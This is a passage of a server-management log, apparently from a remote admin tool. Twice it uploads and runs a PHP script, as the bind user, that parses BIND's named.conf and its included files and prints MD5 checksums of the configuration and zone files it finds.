MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:35:47: Establishing a connection
2026-04-28 10:35:47: 

PUT: /tmp/pkp392648

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:35:47: 

runuser -l bind -s /bin/bash -c '/tmp/pkp392648; rm /tmp/pkp392648'

2026-04-28 10:35:47: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 10:35:49: Establishing a connection
2026-04-28 10:35:49: 

PUT: /tmp/pkp398313

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 10:35:49: 

runuser -l bind -s /bin/bash -c '/tmp/pkp398313; rm /tmp/pkp398313'

2026-04-28 10:35:49: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
